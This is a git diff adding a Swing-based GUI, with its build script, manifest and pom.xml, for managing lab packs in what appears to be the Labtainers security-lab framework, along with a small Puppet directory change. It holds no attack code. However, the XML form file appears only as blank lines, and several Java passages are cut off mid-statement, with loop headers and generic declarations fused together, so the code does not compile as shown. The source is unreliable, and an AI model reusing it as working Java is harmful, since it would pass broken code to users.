diff --git a/modules/utilities/unix/desktop/kde_minimal/manifests/config.pp b/modules/utilities/unix/desktop/kde_minimal/manifests/config.pp index bd63e3106..f18f22352 100644 --- a/modules/utilities/unix/desktop/kde_minimal/manifests/config.pp +++ b/modules/utilities/unix/desktop/kde_minimal/manifests/config.pp @@ -54,7 +54,7 @@ class kde_minimal::config { $account = parsejson($raw_account) $username = $account['username'] - file { ["/home/$username/", "/home/$username/.config/"]: + file { ["/home/$username/", "/home/$username/.config/", "/home/$username/.config/autostart/"]: ensure => directory, owner => $username, group => $username, diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/README.txt new file mode 100644 index 000000000..5324f5133 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/README.txt @@ -0,0 +1,2 @@ +A GUI for managing Labpacks, replacing the functions of makepack. +Program created by Samuel Liao, Summer Intern '21. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/buildUI2.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/buildUI2.sh new file mode 100755 index 000000000..b17ca4be7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/buildUI2.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Rebuild the Labtianers Lab Editor UI +# Use -n to supress running the UI after rebuild. +#/src/main/java/newpackage +javac -classpath json-simple-1.1.1.jar ../src/main/java/newpackage/NewJFrame.java -d . -Xlint:unchecked || exit +jar cmf makepackui.mf ./makepackui.jar newpackage/*.class ../src/main/resources/* || exit +if [[ "$1" != "-n" ]]; then + java -jar makepackui.jar & +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/json-simple-1.1.1.jar b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/json-simple-1.1.1.jar new file mode 100755 index 000000000..66347a6c8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/json-simple-1.1.1.jar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/makepackui.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/makepackui.mf new file mode 100644 index 000000000..d15ce6680 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/bin/makepackui.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Class-Path: json-simple-1.1.1.jar +Main-Class: newpackage/NewJFrame diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/pom.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/pom.xml new file mode 100644 index 000000000..da35ae44f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/pom.xml @@ -0,0 +1,26 @@ + + + 4.0.0 + com.mycompany + MakepackUI + 1.0-SNAPSHOT + jar + + UTF-8 + 1.8 + 1.8 + + + + + com.googlecode.json-simple + json-simple + 1.1.1 + + + com.fasterxml.jackson.core + jackson-databind + 2.12.7.1 + + + \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.form b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.form new file mode 100644 index 000000000..89fb74d97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.form @@ -0,0 +1,908 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.java b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.java new file mode 100644 index 000000000..6bbc09622 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/MakepackUI/src/main/java/newpackage/NewJFrame.java @@ -0,0 +1,1626 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package newpackage; + +/** + * + * @author student + */ + +import java.awt.Color; +import java.awt.event.KeyEvent; +import java.io.BufferedReader; +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.io.IOException; +import java.io.FileWriter; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.concurrent.Executors; +import java.util.function.Consumer; +import javax.imageio.ImageIO; +import javax.swing.ImageIcon; +import javax.swing.JFrame; +import org.json.simple.JSONObject; +import org.json.simple.JSONArray; +import org.json.simple.parser.JSONParser; +import org.json.simple.parser.ParseException; +//this is for the filechooser, making sure it choose files with .labpack +class MyCustomFilter extends javax.swing.filechooser.FileFilter { + @Override + public boolean accept(java.io.File file) { + // Allow only directories, or files with ".labpack" extension + return file.isDirectory() || file.getAbsolutePath().endsWith(".labpack"); + } + @Override + public String getDescription() { + // This description will be displayed in the dialog, + // hard-coded = ugly, should be done via I18N + return "Text documents (*.labpack)"; + } +} + + +public class NewJFrame extends javax.swing.JFrame { + +private ArrayList filelist = new ArrayList(); //this is for storing the list of existing labs to look for + +String labdir = System.getenv("LABTAINER_DIR"); +private String labpack_path = labdir + java.io.File.separator + "labpacks";//making a String name that defines the path to labpacks directory + +private static java.util.HashMap labnotes = new java.util.HashMap(); + /** + * Creates new form NewJFrame + */ + private static java.util.HashMap labpack = new java.util.HashMap();//making a dictionary to storing labpack contents the the UI currently shows + + public void sorting(javax.swing.JList list){ //this is for sorting the elements in list models alphabetically + javax.swing.ListModel model= list.getModel(); + int n = model.getSize(); + + String [] data = new String[n]; + + for(int i=0; i mode){ + mode.clear(); + String labdir = System.getenv("LABTAINER_DIR"); + + + String labpath = labdir + java.io.File.separator + "labs"; + + java.io.File path = new java.io.File(labpath); + String contents[] = path.list(); + for(int i=0; i labs = new ArrayList(); + java.util.Set keys = labnotes.keySet(); + java.util.List listKeys = new ArrayList(keys); + for(int i =0; i labdes = new java.util.HashMap(); + labdes.put("name",labsadded.getElementAt(i)); + labdes.put("notes",labnotes.get(labsadded.getElementAt(i))); + labs.add(labdes); + } + JSONObject Objects = new JSONObject(); + + Objects.put("name",labpack.get("name")); + Objects.put("labs", labs); + Objects.put("description",labpack.get("description")); + if (labpack.containsKey("order")){ + Objects.put("order",Long.parseLong(labpack.get("order"))); + } + try { + if(labpack.containsKey("name")){ + FileWriter file = new FileWriter(path+java.io.File.separator+labpack.get("name")+".labpack"); + file.write(Objects.toJSONString()); + file.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + //debug for creating json objects + //System.out.println("JSON file created: "+Objects); + } + + //Right as we close out of the frame, a method will be called to check if something changed or a new labpack was created. + //the dialog will ask if you want to save. + private void CloseWindow(){ + this.addWindowListener(new java.awt.event.WindowAdapter() { + @Override + public void windowClosing(java.awt.event.WindowEvent e) { + saving("/tmp"); + if(labpack.containsKey("name")){ + java.io.File labpac = new java.io.File(labpack_path+java.io.File.separator+labpack.get("name")+".labpack"); + if(!labpac.exists() || SomethingChanged()){ + + + int choose = javax.swing.JOptionPane.showConfirmDialog(null, + "You have made changes to the labpack", + "keep chages?", javax.swing.JOptionPane.YES_NO_OPTION, + javax.swing.JOptionPane.INFORMATION_MESSAGE); + if (choose == javax.swing.JOptionPane.YES_OPTION) { + saving(labpack_path); + e.getWindow().dispose(); + System.exit(0); + System.out.println("close"); + + } else if(choose == javax.swing.JOptionPane.NO_OPTION) { + + e.getWindow().dispose(); + System.exit(0); + System.out.println("close"); + } else { + System.out.println("do nothing"); + } + + } + else{ + e.getWindow().dispose(); + System.exit(0); + } + + } + else{ + e.getWindow().dispose(); + System.exit(0); + } + + } + + + }); + } + public NewJFrame() { + + initComponents(); + //defining list models, setting them to panels. + lab = new javax.swing.DefaultListModel(); + labslabel = new javax.swing.DefaultListModel(); + labsadded = new javax.swing.DefaultListModel(); + keys = new javax.swing.DefaultListModel(); + labs_in_labpack.setModel(labsadded); + lablist.setModel(lab); + keywords.setModel(keys); + + String labdir = System.getenv("LABTAINER_DIR"); + //for fileChooser to start with current directory according to $LABTAINER_DIR + java.io.File labpackDir = new java.io.File(labdir + java.io.File.separator+ "labpacks"); + fileChooser.setCurrentDirectory(labpackDir); + + + String labpath = labdir + java.io.File.separator + "labs"; + + java.io.File path = new java.io.File(labpath); + String contents[] = path.list(); + + //For each lab look at keywords + for(int i=0; i//GEN-BEGIN:initComponents + private void initComponents() { + + fileChooser = new javax.swing.JFileChooser(); + labpackinfo = new javax.swing.JDialog(); + jPanel1 = new javax.swing.JPanel(); + Create = new javax.swing.JButton(); + TextName = new javax.swing.JTextField(); + TextOrder = new javax.swing.JTextField(); + jLabel1 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); + jLabel3 = new javax.swing.JLabel(); + jScrollPane3 = new javax.swing.JScrollPane(); + TextDescription = new javax.swing.JTextArea(); + order_and_description = new javax.swing.JDialog(); + jPanel2 = new javax.swing.JPanel(); + save_OandD = new javax.swing.JButton(); + TextOrder1 = new javax.swing.JTextField(); + jLabel5 = new javax.swing.JLabel(); + jLabel6 = new javax.swing.JLabel(); + jScrollPane1 = new javax.swing.JScrollPane(); + TextDescription1 = new javax.swing.JTextArea(); + listlabpacks = new javax.swing.JDialog(); + jPanel3 = new javax.swing.JPanel(); + jScrollPane2 = new javax.swing.JScrollPane(); + labpacktextbox = new javax.swing.JTextArea(); + jPanel4 = new javax.swing.JPanel(); + labsPane = new javax.swing.JScrollPane(); + labs_in_labpack = new javax.swing.JList<>(); + labnotePane = new javax.swing.JScrollPane(); + notes_box = new javax.swing.JTextPane(); + AddNoteButton = new javax.swing.JButton(); + RemoveButton = new javax.swing.JButton(); + Move_Down_Button = new javax.swing.JButton(); + Move_Up_Button = new javax.swing.JButton(); + jPanel5 = new javax.swing.JPanel(); + labdescriptionPane = new javax.swing.JScrollPane(); + description_box = new javax.swing.JTextPane(); + ClearButton = new javax.swing.JButton(); + LablistlPane = new javax.swing.JScrollPane(); + lablist = new javax.swing.JList<>(); + KeyPane = new javax.swing.JScrollPane(); + keywords = new javax.swing.JList<>(); + FindButton = new javax.swing.JButton(); + logo = new javax.swing.JLabel(); + jPanel9 = new javax.swing.JPanel(); + SaveIcon = new javax.swing.JButton(); + jMenuBar1 = new javax.swing.JMenuBar(); + jMenu1 = new javax.swing.JMenu(); + OpenButton = new javax.swing.JMenuItem(); + NewButton = new javax.swing.JMenuItem(); + SaveButton = new javax.swing.JMenuItem(); + QuitBUtton = new javax.swing.JMenuItem(); + jMenu2 = new javax.swing.JMenu(); + Order_Description = new javax.swing.JMenuItem(); + ViewButton = new javax.swing.JMenu(); + list_labpacks = new javax.swing.JMenuItem(); + ChangeFont = new javax.swing.JMenu(); + InreaseFont = new javax.swing.JMenuItem(); + DecreaseFont = new javax.swing.JMenuItem(); + + fileChooser.setCurrentDirectory(new java.io.File("/home/student/labtainer/trunk/labpacks")); + fileChooser.setFileFilter(new MyCustomFilter()); + + labpackinfo.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + labpackinfoKeyPressed(evt); + } + }); + + jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Labpack")); + + Create.setText("Create"); + Create.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateActionPerformed(evt); + } + }); + + TextName.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + TextNameKeyPressed(evt); + } + public void keyTyped(java.awt.event.KeyEvent evt) { + TextNameKeyTyped(evt); + } + }); + + TextOrder.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyTyped(java.awt.event.KeyEvent evt) { + TextOrderKeyTyped(evt); + } + }); + + jLabel1.setText("Name:"); + + jLabel2.setText("Description:"); + + jLabel3.setText("Order:"); + + TextDescription.setColumns(20); + TextDescription.setRows(5); + jScrollPane3.setViewportView(TextDescription); + + javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1); + jPanel1.setLayout(jPanel1Layout); + jPanel1Layout.setHorizontalGroup( + jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel1Layout.createSequentialGroup() + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel1Layout.createSequentialGroup() + .addGap(35, 35, 35) + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel2) + .addComponent(jLabel1) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(TextName, javax.swing.GroupLayout.DEFAULT_SIZE, 440, Short.MAX_VALUE) + .addComponent(TextOrder, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jScrollPane3))) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(Create))) + .addContainerGap()) + ); + jPanel1Layout.setVerticalGroup( + jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel1Layout.createSequentialGroup() + .addGap(39, 39, 39) + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel1, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(TextName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel2) + .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 137, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel3) + .addComponent(TextOrder, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(Create) + .addContainerGap()) + ); + + javax.swing.GroupLayout labpackinfoLayout = new javax.swing.GroupLayout(labpackinfo.getContentPane()); + labpackinfo.getContentPane().setLayout(labpackinfoLayout); + labpackinfoLayout.setHorizontalGroup( + labpackinfoLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + labpackinfoLayout.setVerticalGroup( + labpackinfoLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder("Labpack")); + + save_OandD.setText("Save"); + save_OandD.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + save_OandDActionPerformed(evt); + } + }); + + TextOrder1.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyTyped(java.awt.event.KeyEvent evt) { + TextOrder1KeyTyped(evt); + } + }); + + jLabel5.setText("Description:"); + + jLabel6.setText("Order:"); + + TextDescription1.setColumns(20); + TextDescription1.setRows(5); + TextDescription1.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + TextDescription1KeyPressed(evt); + } + }); + jScrollPane1.setViewportView(TextDescription1); + + javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2); + jPanel2.setLayout(jPanel2Layout); + jPanel2Layout.setHorizontalGroup( + jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel2Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel2Layout.createSequentialGroup() + .addGap(0, 0, Short.MAX_VALUE) + .addComponent(save_OandD)) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 399, Short.MAX_VALUE) + .addGroup(jPanel2Layout.createSequentialGroup() + .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel5) + .addComponent(jLabel6)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(TextOrder1)) + .addContainerGap()) + ); + jPanel2Layout.setVerticalGroup( + jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup() + .addGap(20, 20, 20) + .addComponent(jLabel5) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 146, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel6) + .addGap(9, 9, 9) + .addComponent(TextOrder1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(save_OandD) + .addGap(8, 8, 8)) + ); + + javax.swing.GroupLayout order_and_descriptionLayout = new javax.swing.GroupLayout(order_and_description.getContentPane()); + order_and_description.getContentPane().setLayout(order_and_descriptionLayout); + order_and_descriptionLayout.setHorizontalGroup( + order_and_descriptionLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + order_and_descriptionLayout.setVerticalGroup( + order_and_descriptionLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + labpacktextbox.setColumns(20); + labpacktextbox.setFont(new java.awt.Font("Dialog", 0, 14)); // NOI18N + labpacktextbox.setRows(5); + labpacktextbox.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + labpacktextboxKeyPressed(evt); + } + }); + jScrollPane2.setViewportView(labpacktextbox); + + javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3); + jPanel3.setLayout(jPanel3Layout); + jPanel3Layout.setHorizontalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 767, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE)) + ); + jPanel3Layout.setVerticalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 539, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(0, 0, Short.MAX_VALUE)) + ); + + javax.swing.GroupLayout listlabpacksLayout = new javax.swing.GroupLayout(listlabpacks.getContentPane()); + listlabpacks.getContentPane().setLayout(listlabpacksLayout); + listlabpacksLayout.setHorizontalGroup( + listlabpacksLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + listlabpacksLayout.setVerticalGroup( + listlabpacksLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setTitle("makepack"); + + jPanel4.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED)); + + labsPane.setBorder(javax.swing.BorderFactory.createTitledBorder("labs in labpack")); + + labs_in_labpack.setModel(new javax.swing.AbstractListModel() { + String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" }; + public int getSize() { return strings.length; } + public String getElementAt(int i) { return strings[i]; } + }); + labs_in_labpack.setNextFocusableComponent(Move_Up_Button); + labs_in_labpack.addListSelectionListener(new javax.swing.event.ListSelectionListener() { + public void valueChanged(javax.swing.event.ListSelectionEvent evt) { + labs_in_labpackValueChanged(evt); + } + }); + labsPane.setViewportView(labs_in_labpack); + + labnotePane.setBorder(javax.swing.BorderFactory.createTitledBorder("notes")); + + notes_box.setFocusCycleRoot(false); + notes_box.setNextFocusableComponent(AddNoteButton); + labnotePane.setViewportView(notes_box); + + AddNoteButton.setText("Save"); + AddNoteButton.setToolTipText("This saves changes to any notes for a lab."); + AddNoteButton.setNextFocusableComponent(description_box); + AddNoteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + AddNoteButtonActionPerformed(evt); + } + }); + + RemoveButton.setText("Remove"); + RemoveButton.setToolTipText("This button removes any selected labs from the labpack."); + RemoveButton.setNextFocusableComponent(notes_box); + RemoveButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveButtonActionPerformed(evt); + } + }); + + Move_Down_Button.setText("\\/"); + Move_Down_Button.setToolTipText("Move a lab down in the labpack."); + Move_Down_Button.setName(""); // NOI18N + Move_Down_Button.setNextFocusableComponent(RemoveButton); + Move_Down_Button.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Move_Down_ButtonActionPerformed(evt); + } + }); + + Move_Up_Button.setText("/\\"); + Move_Up_Button.setToolTipText("Move a lab up in the labpack."); + Move_Up_Button.setNextFocusableComponent(Move_Down_Button); + Move_Up_Button.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Move_Up_ButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4); + jPanel4.setLayout(jPanel4Layout); + jPanel4Layout.setHorizontalGroup( + jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGap(24, 24, 24) + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(labnotePane) + .addComponent(AddNoteButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 77, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup() + .addComponent(labsPane, javax.swing.GroupLayout.DEFAULT_SIZE, 210, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(Move_Down_Button, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(Move_Up_Button, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 45, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(RemoveButton)) + .addGap(5, 5, 5))) + .addContainerGap()) + ); + jPanel4Layout.setVerticalGroup( + jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel4Layout.createSequentialGroup() + .addGap(24, 24, 24) + .addComponent(Move_Up_Button) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(Move_Down_Button, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(176, 176, 176) + .addComponent(RemoveButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 109, Short.MAX_VALUE)) + .addGroup(jPanel4Layout.createSequentialGroup() + .addContainerGap() + .addComponent(labsPane) + .addGap(30, 30, 30))) + .addComponent(labnotePane, javax.swing.GroupLayout.DEFAULT_SIZE, 145, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(AddNoteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(23, 23, 23)) + ); + + jPanel5.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED)); + + labdescriptionPane.setBorder(javax.swing.BorderFactory.createTitledBorder("lab description")); + + description_box.setFocusCycleRoot(false); + description_box.setNextFocusableComponent(keywords); + labdescriptionPane.setViewportView(description_box); + + ClearButton.setText("Clear"); + ClearButton.setToolTipText("This refreshes the lab list so that user can see the list of all labs after find."); + ClearButton.setNextFocusableComponent(labs_in_labpack); + ClearButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + ClearButtonActionPerformed(evt); + } + }); + + LablistlPane.setBorder(javax.swing.BorderFactory.createTitledBorder("lab list")); + + lablist.setModel(new javax.swing.AbstractListModel() { + String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" }; + public int getSize() { return strings.length; } + public String getElementAt(int i) { return strings[i]; } + }); + lablist.setToolTipText("Double click to add lab to labpack."); + lablist.setNextFocusableComponent(ClearButton); + lablist.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + lablistMouseClicked(evt); + } + }); + lablist.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + lablistKeyPressed(evt); + } + }); + lablist.addListSelectionListener(new javax.swing.event.ListSelectionListener() { + public void valueChanged(javax.swing.event.ListSelectionEvent evt) { + lablistValueChanged(evt); + } + }); + LablistlPane.setViewportView(lablist); + + KeyPane.setBorder(javax.swing.BorderFactory.createTitledBorder("keywords")); + + keywords.setModel(new javax.swing.AbstractListModel() { + String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" }; + public int getSize() { return strings.length; } + public String getElementAt(int i) { return strings[i]; } + }); + keywords.setFocusCycleRoot(true); + keywords.setNextFocusableComponent(FindButton); + KeyPane.setViewportView(keywords); + + FindButton.setText("Find"); + FindButton.setToolTipText("This button filters the lab list panel so that the lablist shows which labs have the selected keywords."); + FindButton.setNextFocusableComponent(lablist); + FindButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + FindButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5); + jPanel5.setLayout(jPanel5Layout); + jPanel5Layout.setHorizontalGroup( + 